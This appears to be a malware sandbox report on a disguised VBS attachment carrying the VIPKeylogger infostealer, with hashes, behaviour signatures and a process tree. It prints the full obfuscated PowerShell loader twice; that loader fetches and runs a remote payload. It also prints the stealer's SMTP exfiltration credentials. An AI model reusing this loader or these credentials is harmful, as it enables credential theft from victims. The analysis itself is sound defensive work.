Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
04/11/2024, 06:59
General
-
Target
Permintaan Untuk Sebutharga RFQ 087624_Pdf.vbs
-
Size
29KB
-
MD5
e1e5a3c6c5cba2a431c6c7b970486c1a
-
SHA1
adb2d67c153f9ffe56315d6eac2de6adcf2c7a87
-
SHA256
3e3da0990a7a0ec7287bede75ea413d4beb4c0d0dc5fcd04ae37ee1129f6b46d
-
SHA512
801640e3674bef81f05f9b7b7dd03ac3d4a52a1eec909221240ebe5fec783c3b33001fd217fb1b2e02e0895075cea7f483a0d1b82d189f39a14929bb1b0d606b
-
SSDEEP
384:Y2kDRQGJuHwVQYFup6OtxODqjdugAbl9GPPfjgZrpd:Y2kDRQGrVQ+8PtEGjdugAaPPfq7
Score
10/10
Malware Config
Extracted
Family
vipkeylogger
Credentials
Protocol: smtp- Host:
mail.recsb.com - Port:
587 - Username:
[email protected] - Password:
1=vI*r6^ - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Blocklisted process makes network request 11 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Permintaan Untuk Sebutharga RFQ 087624_Pdf.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Dealcoholist Nonverticality Pleiochromia Regeneratives deselect #>;$Commandry='Rerent';<#ontologism Lh Dyrekroppernes #>; function Tomandsteltet($Bengtedes){If ($host.DebuggerEnabled) {$Nobie221++;}$Gangbredden=$Pauxi+$Bengtedes.'Length' - $Nobie221; for ( $Skagbos=5;$Skagbos -lt $Gangbredden;$Skagbos+=6){$Sagsbehandlingstiden=$Skagbos;$Jernkrogen+=$Bengtedes[$Skagbos];}$Jernkrogen;}function Organisationsliniers($Bakketop){ . ($Schooper114) ($Bakketop);}$Theanthropic=Tomandsteltet 'UnlabMAfry oNonmazSubwaiScotilQuartlC,ndeaTrinn/C,kla ';$Foredated=Tomandsteltet ' ElekTUnderlKnopps Eneb1 ervi2Vildh ';$Nanoinstruction='Alarm[O ttwNErnriEMeto tLusen.I cissNotheEcag rR Ikl,vr,eaeIC tatCCathaEKirs.pEx itoA.tocITapesN,eoliTUnderMSo oeATakomNKludea B leG SpidE SegrrKorts]Skims:Suppl:HvilksSweepe MillCA lanu dlenr ypopI BartTFondsyUnin,pPhlebr TranO gummt UdpaO endoC nadhoK.mmaL parr=Under$DobbefBaublOS addrAlk he Opb dLa keaShowet ExsuESchooD Brin ';$Theanthropic+=Tomandsteltet 'Ide l5innaw. Audi0 Thur Zymin(GlamoWMetaciAph,dnOphthdReinoo Ka twArgumsHaven Pr eNKind TTopas Klemm1Af en0Finde.Aunts0Enti.;Skist tjekpWBibehiUndern Over6,esan4 Kalk;Trium SchoxEryth6Uduel4Finp ;Mult. Rem pr odonvUnvol:Dyr,h1Copyh3Paa o1unint. rans0Kasse)Faite Brow GU,mereAreitcRetinkLouisoF act/Grant2 Barb0 Punc1 We s0Antim0Liats1A.noe0 iber1 Mand GlycaFSkulaiSt,lar,verteAlfabfTch foEc,hyxHydri/Siv i1Showe3Chron1 Pa h.cisel0Scis. ';$Flabellum=Tomandsteltet 'Umisku SkolSSwitcESupprrtrykf-sluffaGermagRadioeMishan.tepdTU.der ';$Chanelled=Tomandsteltet 'I hyph Simbt se vtMedicpUninds agab:Afgan/Torde/recondKul yrHo,eviKredsvSkibsesneen.lethagMetrioPecksoC alugVildflPe.ebe Morg.Tred cMetamoTandrmhoved/RolleuPouchcBowra?Overle ordex RetspUdsaloChetar Z ratTr ch= algsdOm,tro EftewOmposn Dac lCra.ioFotokaA onodCocai&Gluggi .utpd Resf=Hov d1U,mol4Op ranMisrelTrampW keenJOpstihPompa9SjaskQFlageyUngdousta iaTheomC ntirpSvampCbusteFOmgn.oTeks,ds junOtroskbRenegIAtropPTa,elv SimeRTryglmVi.ceFscutiE Hyp.aSmigeg nobBBespr4Sili 0CunablBelg ';$Skagbosrian=Tomandsteltet 'Fluti>Tarif ';$Schooper114=Tomandsteltet ' Yatti SnakeUdma X E zy ';$Rkenvinden='Sendebuddene';$Destool='\Kammeratskabers.Bad';Organisationsliniers (Tomandsteltet 'Cafvw$V,spegudstolFjerlo ScopbS tueAOcc ll Cor :BrandCS ovfH ivr aSoil.RKimmeLUntruE Agn,SMudstt B reoNaermN,roade Cower UndeSPla i7Sa va5Skjor=Hailp$ EchiEMiscoNGalliV T eb:SuperaAdminPSycopPBruttdExarcA SovetGanglaFoo f+Skor $ uns dmatriE CorpsTolketSkismOHexa.OSuppeLKolon ');Organisationsliniers (Tomandsteltet ' shoa$VelkogC adoLSot.eo Gat bDigitanonmulConcu: co wbRda.go soeATeglvs B ertHa,skePrs mrRejud=Persi$C ampcSterlHVe.eeaSubtrnSkurvEKonv,LEnucllglaureAntikDEtaer.ExpreSChan PkabellDat tIScenatLigka(Tonls$EndehSIndviKAsbesayokelG Sub bLage OneuccSLibetRDu,piIBloktaGeodinDrklo)Nepot ');Organisationsliniers (Tomandsteltet $Nanoinstruction);$Chanelled=$Boaster[0];$Ballademagernes=(Tomandsteltet 'Retou$S,lreGAcriflTaareO tateb WoodABeklulnonco:CalamOAnto,UNakedt CatcpHieroo QuadROverrTIndkoe .steR Conf=oppreNDlestEIll.mWTeate- TheroUnd rbB,rdbJ apetEJaegeCSeriet,opou ErklrsM jenyDehumSPe letdrejeEOk.ulMMaced.UndulN Tnkee PharTUn.oc.SolitwAal dE FeltbTympaCBankdL UndeIConceE Dokun ccipTDavid ');Organisationsliniers ($Ballademagernes);Organisationsliniers (Tomandsteltet 'Revis$SprinODenjauFu mat Jarlp Uf,roCaligrCirkut atrueOpdatr Hete.Takt,HRula,eU staaForhadUr,the F,agrO fedsPlace[ afhn$ WiviF D oll heltaSinapbSkaale Aut lUnip,lC,llauBiremmAftal]Forld= Skyb$ utqTDispehO.ncreTubulaResifnT.ofttKa tehPa yrrDeleno.obbyp orriiGrnsecbarde ');$Skumlsendes=Tomandsteltet 'Bldtv$FortiOInsaluResymt BombpSubt oklubbr alut Pr beYdmygrfa,il.penetDPr cloTap,vw Waasn,udiolbetago ogsaElfendregerFSenteiEvolulransaeForfa(Sabel$NaumaCBremshDileta Knapn ,nsteSyndel KbsmlFore,ePentodCohes,Noon $E.ercEPrin aVenomr Ti ksDrukthMayfl)Entab ';$Earsh=$Charlestoners75;Organisationsliniers (Tomandsteltet 'Trenc$UigenG.itraLSeis odemarBMascuA RoveLCount:CustonSolutiRundsaStartA ridorLokalS Brne=Efter( Sk lTspeciEForres GeneTAfrik-Conf pT eorAInterTStereHWh ti immov$KickseErhveaAlterr ReclSCatl h Ove )Inn.r ');while (!$Niaars) {Organisationsliniers (Tomandsteltet 'Bdest$ UnstgSmrinlG ggeoLaaneb Fiska sselLitho: Sa,rF E del bilouphenyoSk jer Mis oP rlemIs,pieS ortttremurSnderiStrenc for =Fagpe$ ,ambtJannir rskruTa,liemeta ') ;Organisationsliniers $Skumlsendes;Organisationsliniers (Tomandsteltet 'Stills SpekTBortoA BeraRO eanTMisgr-Kveyes UnvolD nteeAftjeenordbp.opdr Selva4Safec ');Organisationsliniers (Tomandsteltet 'Skrmb$ TranGOutteLIndi OBlot b Rem AReapolCurtn:Run.sNDeltiI C aiAkonceA Rus,RSke,eSPr fe= Ma.t(Tse rt oundEBifurSL.biatdrago-Unp,lPC.penAOffe.T PantH Unex skrte$KnivaE ccusaOmfavR valS.obleH Ryat)Hydro ') ;Organisationsliniers (Tomandsteltet ' Hung$GifteGformeLRestioInvidbRyggeABemrkLPtych:DoriefoversRFu leI CaratPrin n egatk LysiedksdrRIsotoSRi goKBlak.EMnstrRIntroNB eepE ymboS even=Blovs$.taklGModerlstoryoResocbAzo oAKoggeLUford:RetouSLev,dPbioteoAsminNatraidInexte De kRombytNCanceEearnes Knyt+Tekst+Bankf%Crios$S alobDes xoSttenAB,rmfSIndsptWema,eDr.inrLoang.Dorthc UdbaO dsluuSlagsnOv,ritVandv ') ;$Chanelled=$Boaster[$Fritnkerskernes];}$Kaldsekvensernes=315496;$Ekspertens=31037;Organisationsliniers (Tomandsteltet 'Bor v$HoldaGSkjollGuldmO ForobLiquoaBughuLforst:Tohold BitcA OverCAn arRBelieYBe kfDRy kliVan.luVandkmPerti Amphi=Trans RipogOutb eIsoaltFalsn-M,nitcNonsuo euronTestpt AktieMesobN xtraTSkift Netto$PrecoEFilmfaPuntarKrigsSUnderH onli ');Organisationsliniers (Tomandsteltet ' Un.f$nulpugBravelStaitoAdoptb SondaAstralTetra:SophiESlo an andfcsteigiFaktupUn.omhSpueseI parrTople Afret= He.e Stenu[Li sfSAvickyFlag,sTil rt EfteeT quimbrats.AlispCBedemoChimln polivUnstieTentarHe git.unkt]Opsli:Unret:SynchFHasterKonvooPantamBltesBO phiaMorals Mil eMen.n6Annuu4SysteS Flelt femtr TobaiCaseanOversg Renu(Numme$ Bo tD exana gibbcCellbrFetisyS aaldObvoliBiletuPorcemAfhug)Di tr ');Organisationsliniers (Tomandsteltet '.iske$MoralgPlatfL oftsoSalgsbPeneta RetrlLongw:Vict.sdeadlH LansA kbenMkanyloPastrSzoocu None= Kev, pasm[Sa.cosS atsYBistaSM chaTRen.eE,athfMDisci.Ac ntT AmpheKaskeXDichltGu.ro.Zou veklyngN Cranc JacoODin ldRestaiFr rsn,illegFrake]Fo,si:R,tih: s iraud.pesFloppCBipoliEncepiMejsl.E ptyg F,eleAlk,ltForsksFrihetHatchr AksiIParaen FavogS,anl(yderd$CorsaeA tigNEa,coC TotaiDuksePKantahT.leveRes.rrBrnet)Repr. ');Organisationsliniers (Tomandsteltet ' Subs$LnforGUn spLPaas OPrecoBUnd,raPr ncLUnzo :Un its GrotAgi,geLP venpDissyEExsupTLiderEvarioR Millh Curso Plasl StttDLuntii Canag andesCova,tParane PurksEmira=Samme$AdoraSBrndeh amboAHewgamCunjeOFolk.sSkaf .SambhsIdeoku SemiBFaxensHushoTBr ndROsendIUnre.nEmbraGMas i(tvivl$DykkeK Dysta SminL EnerDHav,nsEkstrETuttskHyssevKarole BrugNGenopSA tioEknortRCol,onElectESilo SJibes,Sita,$fun eeA imek KlagsReplePKrngneUn,avRDeco,tDemo eEr.riNTrodsSFri k)Reste ');Organisationsliniers $Salpeterholdigstes;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Dealcoholist Nonverticality Pleiochromia Regeneratives deselect #>;$Commandry='Rerent';<#ontologism Lh Dyrekroppernes #>; function Tomandsteltet($Bengtedes){If ($host.DebuggerEnabled) {$Nobie221++;}$Gangbredden=$Pauxi+$Bengtedes.'Length' - $Nobie221; for ( $Skagbos=5;$Skagbos -lt $Gangbredden;$Skagbos+=6){$Sagsbehandlingstiden=$Skagbos;$Jernkrogen+=$Bengtedes[$Skagbos];}$Jernkrogen;}function Organisationsliniers($Bakketop){ . ($Schooper114) ($Bakketop);}$Theanthropic=Tomandsteltet 'UnlabMAfry oNonmazSubwaiScotilQuartlC,ndeaTrinn/C,kla ';$Foredated=Tomandsteltet ' ElekTUnderlKnopps Eneb1 ervi2Vildh ';$Nanoinstruction='Alarm[O ttwNErnriEMeto tLusen.I cissNotheEcag rR Ikl,vr,eaeIC tatCCathaEKirs.pEx itoA.tocITapesN,eoliTUnderMSo oeATakomNKludea B leG SpidE SegrrKorts]Skims:Suppl:HvilksSweepe MillCA lanu dlenr ypopI BartTFondsyUnin,pPhlebr TranO gummt UdpaO endoC nadhoK.mmaL parr=Under$DobbefBaublOS addrAlk he Opb dLa keaShowet ExsuESchooD Brin ';$Theanthropic+=Tomandsteltet 'Ide l5innaw. Audi0 Thur Zymin(GlamoWMetaciAph,dnOphthdReinoo Ka twArgumsHaven Pr eNKind TTopas Klemm1Af en0Finde.Aunts0Enti.;Skist tjekpWBibehiUndern Over6,esan4 Kalk;Trium SchoxEryth6Uduel4Finp ;Mult. Rem pr odonvUnvol:Dyr,h1Copyh3Paa o1unint. rans0Kasse)Faite Brow GU,mereAreitcRetinkLouisoF act/Grant2 Barb0 Punc1 We s0Antim0Liats1A.noe0 iber1 Mand GlycaFSkulaiSt,lar,verteAlfabfTch foEc,hyxHydri/Siv i1Showe3Chron1 Pa h.cisel0Scis. ';$Flabellum=Tomandsteltet 'Umisku SkolSSwitcESupprrtrykf-sluffaGermagRadioeMishan.tepdTU.der ';$Chanelled=Tomandsteltet 'I hyph Simbt se vtMedicpUninds agab:Afgan/Torde/recondKul yrHo,eviKredsvSkibsesneen.lethagMetrioPecksoC alugVildflPe.ebe Morg.Tred cMetamoTandrmhoved/RolleuPouchcBowra?Overle ordex RetspUdsaloChetar Z ratTr ch= algsdOm,tro EftewOmposn Dac lCra.ioFotokaA onodCocai&Gluggi .utpd Resf=Hov d1U,mol4Op ranMisrelTrampW keenJOpstihPompa9SjaskQFlageyUngdousta iaTheomC ntirpSvampCbusteFOmgn.oTeks,ds junOtroskbRenegIAtropPTa,elv SimeRTryglmVi.ceFscutiE Hyp.aSmigeg nobBBespr4Sili 0CunablBelg ';$Skagbosrian=Tomandsteltet 'Fluti>Tarif ';$Schooper114=Tomandsteltet ' Yatti SnakeUdma X E zy ';$Rkenvinden='Sendebuddene';$Destool='\Kammeratskabers.Bad';Organisationsliniers (Tomandsteltet 'Cafvw$V,spegudstolFjerlo ScopbS tueAOcc ll Cor :BrandCS ovfH ivr aSoil.RKimmeLUntruE Agn,SMudstt B reoNaermN,roade Cower UndeSPla i7Sa va5Skjor=Hailp$ EchiEMiscoNGalliV T eb:SuperaAdminPSycopPBruttdExarcA SovetGanglaFoo f+Skor $ uns dmatriE CorpsTolketSkismOHexa.OSuppeLKolon ');Organisationsliniers (Tomandsteltet ' shoa$VelkogC adoLSot.eo Gat bDigitanonmulConcu: co wbRda.go soeATeglvs B ertHa,skePrs mrRejud=Persi$C ampcSterlHVe.eeaSubtrnSkurvEKonv,LEnucllglaureAntikDEtaer.ExpreSChan PkabellDat tIScenatLigka(Tonls$EndehSIndviKAsbesayokelG Sub bLage OneuccSLibetRDu,piIBloktaGeodinDrklo)Nepot ');Organisationsliniers (Tomandsteltet $Nanoinstruction);$Chanelled=$Boaster[0];$Ballademagernes=(Tomandsteltet 'Retou$S,lreGAcriflTaareO tateb WoodABeklulnonco:CalamOAnto,UNakedt CatcpHieroo QuadROverrTIndkoe .steR Conf=oppreNDlestEIll.mWTeate- TheroUnd rbB,rdbJ apetEJaegeCSeriet,opou ErklrsM jenyDehumSPe letdrejeEOk.ulMMaced.UndulN Tnkee PharTUn.oc.SolitwAal dE FeltbTympaCBankdL UndeIConceE Dokun ccipTDavid ');Organisationsliniers ($Ballademagernes);Organisationsliniers (Tomandsteltet 'Revis$SprinODenjauFu mat Jarlp Uf,roCaligrCirkut atrueOpdatr Hete.Takt,HRula,eU staaForhadUr,the F,agrO fedsPlace[ afhn$ WiviF D oll heltaSinapbSkaale Aut lUnip,lC,llauBiremmAftal]Forld= Skyb$ utqTDispehO.ncreTubulaResifnT.ofttKa tehPa yrrDeleno.obbyp orriiGrnsecbarde ');$Skumlsendes=Tomandsteltet 'Bldtv$FortiOInsaluResymt BombpSubt oklubbr alut Pr beYdmygrfa,il.penetDPr cloTap,vw Waasn,udiolbetago ogsaElfendregerFSenteiEvolulransaeForfa(Sabel$NaumaCBremshDileta Knapn ,nsteSyndel KbsmlFore,ePentodCohes,Noon $E.ercEPrin aVenomr Ti ksDrukthMayfl)Entab ';$Earsh=$Charlestoners75;Organisationsliniers (Tomandsteltet 'Trenc$UigenG.itraLSeis odemarBMascuA RoveLCount:CustonSolutiRundsaStartA ridorLokalS Brne=Efter( Sk lTspeciEForres GeneTAfrik-Conf pT eorAInterTStereHWh ti immov$KickseErhveaAlterr ReclSCatl h Ove )Inn.r ');while (!$Niaars) {Organisationsliniers (Tomandsteltet 'Bdest$ UnstgSmrinlG ggeoLaaneb Fiska sselLitho: Sa,rF E del bilouphenyoSk jer Mis oP rlemIs,pieS ortttremurSnderiStrenc for =Fagpe$ ,ambtJannir rskruTa,liemeta ') ;Organisationsliniers $Skumlsendes;Organisationsliniers (Tomandsteltet 'Stills SpekTBortoA BeraRO eanTMisgr-Kveyes UnvolD nteeAftjeenordbp.opdr Selva4Safec ');Organisationsliniers (Tomandsteltet 'Skrmb$ TranGOutteLIndi OBlot b Rem AReapolCurtn:Run.sNDeltiI C aiAkonceA Rus,RSke,eSPr fe= Ma.t(Tse rt oundEBifurSL.biatdrago-Unp,lPC.penAOffe.T PantH Unex skrte$KnivaE ccusaOmfavR valS.obleH Ryat)Hydro ') ;Organisationsliniers (Tomandsteltet ' Hung$GifteGformeLRestioInvidbRyggeABemrkLPtych:DoriefoversRFu leI CaratPrin n egatk LysiedksdrRIsotoSRi goKBlak.EMnstrRIntroNB eepE ymboS even=Blovs$.taklGModerlstoryoResocbAzo oAKoggeLUford:RetouSLev,dPbioteoAsminNatraidInexte De kRombytNCanceEearnes Knyt+Tekst+Bankf%Crios$S alobDes xoSttenAB,rmfSIndsptWema,eDr.inrLoang.Dorthc UdbaO dsluuSlagsnOv,ritVandv ') ;$Chanelled=$Boaster[$Fritnkerskernes];}$Kaldsekvensernes=315496;$Ekspertens=31037;Organisationsliniers (Tomandsteltet 'Bor v$HoldaGSkjollGuldmO ForobLiquoaBughuLforst:Tohold BitcA OverCAn arRBelieYBe kfDRy kliVan.luVandkmPerti Amphi=Trans RipogOutb eIsoaltFalsn-M,nitcNonsuo euronTestpt AktieMesobN xtraTSkift Netto$PrecoEFilmfaPuntarKrigsSUnderH onli ');Organisationsliniers (Tomandsteltet ' Un.f$nulpugBravelStaitoAdoptb SondaAstralTetra:SophiESlo an andfcsteigiFaktupUn.omhSpueseI parrTople Afret= He.e Stenu[Li sfSAvickyFlag,sTil rt EfteeT quimbrats.AlispCBedemoChimln polivUnstieTentarHe git.unkt]Opsli:Unret:SynchFHasterKonvooPantamBltesBO phiaMorals Mil eMen.n6Annuu4SysteS Flelt femtr TobaiCaseanOversg Renu(Numme$ Bo tD exana gibbcCellbrFetisyS aaldObvoliBiletuPorcemAfhug)Di tr ');Organisationsliniers (Tomandsteltet '.iske$MoralgPlatfL oftsoSalgsbPeneta RetrlLongw:Vict.sdeadlH LansA kbenMkanyloPastrSzoocu None= Kev, pasm[Sa.cosS atsYBistaSM chaTRen.eE,athfMDisci.Ac ntT AmpheKaskeXDichltGu.ro.Zou veklyngN Cranc JacoODin ldRestaiFr rsn,illegFrake]Fo,si:R,tih: s iraud.pesFloppCBipoliEncepiMejsl.E ptyg F,eleAlk,ltForsksFrihetHatchr AksiIParaen FavogS,anl(yderd$CorsaeA tigNEa,coC TotaiDuksePKantahT.leveRes.rrBrnet)Repr. ');Organisationsliniers (Tomandsteltet ' Subs$LnforGUn spLPaas OPrecoBUnd,raPr ncLUnzo :Un its GrotAgi,geLP venpDissyEExsupTLiderEvarioR Millh Curso Plasl StttDLuntii Canag andesCova,tParane PurksEmira=Samme$AdoraSBrndeh amboAHewgamCunjeOFolk.sSkaf .SambhsIdeoku SemiBFaxensHushoTBr ndROsendIUnre.nEmbraGMas i(tvivl$DykkeK Dysta SminL EnerDHav,nsEkstrETuttskHyssevKarole BrugNGenopSA tioEknortRCol,onElectESilo SJibes,Sita,$fun eeA imek KlagsReplePKrngneUn,avRDeco,tDemo eEr.riNTrodsSFri k)Reste ');Organisationsliniers $Salpeterholdigstes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD571444def27770d9071039d005d0323b7
SHA1cef8654e95495786ac9347494f4417819373427e
SHA2568438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
451KB
MD50bfddecbd5e73697b12f8cd627a0828d
SHA1c68400f7844e632fe2b623e4d34365d52a33b478
SHA2566ea06953452dc0a03931e83d22c2e59dece0bebcc8b21f0eb809fa246ea0fe74
SHA512167a02c6fe953fd4029ae4fa19b215fe8c95fd1f62310717d426fd6d89c05edadf1d018cd04c1749a9b02bd90ed84cd668b84f9b2d27a8f97a7996e765bc141c
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
584KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
288KB
-
Filesize
320KB
-
Filesize
40KB
-
Filesize
18.3MB
-
Filesize
120KB
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
33.1MB
-
Filesize
304KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
216KB